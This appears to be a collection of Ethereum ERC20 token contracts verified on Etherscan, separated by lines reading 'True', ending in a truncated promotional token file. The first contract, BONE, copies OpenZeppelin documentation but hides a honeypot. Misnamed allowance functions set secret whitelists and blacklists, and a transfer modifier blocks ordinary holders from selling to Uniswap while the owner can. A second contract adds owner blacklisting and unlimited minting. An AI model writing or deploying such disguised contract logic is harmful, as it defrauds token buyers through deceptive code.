bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract BONE is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(_owner, initialSupply*(10**18));
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
|
True
|
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/**
*Submitted for verification at Etherscan.io on 2021-05-25
*/
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/utils/Context.sol
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/token/ERC20/ERC20.sol
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overloaded;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: contracts/NINJA.sol
contract NINJA is ERC20,Ownable {
mapping (address => bool) private _blacklist;
constructor() ERC20("CryptoZen.NINJA", "NINJA") {
_mint(_msgSender(), 1000000 * 10**decimals());
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal override {
require(!_blacklist[_msgSender()], 'You are blacklisted!');
}
function mint(address to, uint256 amount) public onlyOwner{
_mint(to, amount);
}
function burn(uint256 amount) public {
_burn(_msgSender(), amount);
}
/**
* @dev Destroys `amount` tokens from `account`, deducting from the caller's
* allowance.
*
* See {ERC20-_burn} and {ERC20-allowance}.
*
* Requirements:
*
* - the caller must have allowance for ``accounts``'s tokens of at least
* `amount`.
*/
function burnFrom(address account, uint256 amount) public virtual {
uint256 currentAllowance = allowance(account, _msgSender());
require(currentAllowance >= amount, "ERC20: burn amount exceeds allowance");
unchecked {
_approve(account, _msgSender(), currentAllowance - amount);
}
_burn(account, amount);
}
function setBlacklist(address who) public onlyOwner returns(bool){
_blacklist[who] = true;
return true;
}
function removeBlacklist(address who) public onlyOwner returns(bool){
_blacklist[who] = false;
return true;
}
function isBlacklisted(address who) public view returns(bool){
return _blacklist[who];
}
}
|
True
|
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102
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/**
*Submitted for verification at Etherscan.io on 2021-09-29
*/
/*
888b 888 888 8888888b.
8888b 888 888 888 Y88b
88888b 888 888 888 888
888Y88b 888 8888b. 888d888 888 888 888888 .d88b. 888 d88P 888 888 88888b.
888 Y88b888 "88b 888P" 888 888 888 d88""88b 8888888P" 888 888 888 "88b
888 Y88888 .d888888 888 888 888 888 888 888 888 T88b 888 888 888 888
888 Y8888 888 888 888 Y88b 888 Y88b. Y88..88P 888 T88b Y88b 888 888 888
888 Y888 "Y888888 888 "Y88888 "Y888 "Y88P" 888 T88b "Y88888 888 888
Naruto Run is one piece of a larger Metaverse of tokens to come.
100% LP Tokens Burnt
40% of Supply Burnt
No Team Tokens
Continuous Marketing & Calls
Giveaways for token holders
Telegram:
https://t.me/NarutoRunToken
Website:
https://www.narutoruntoken.com
*/
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
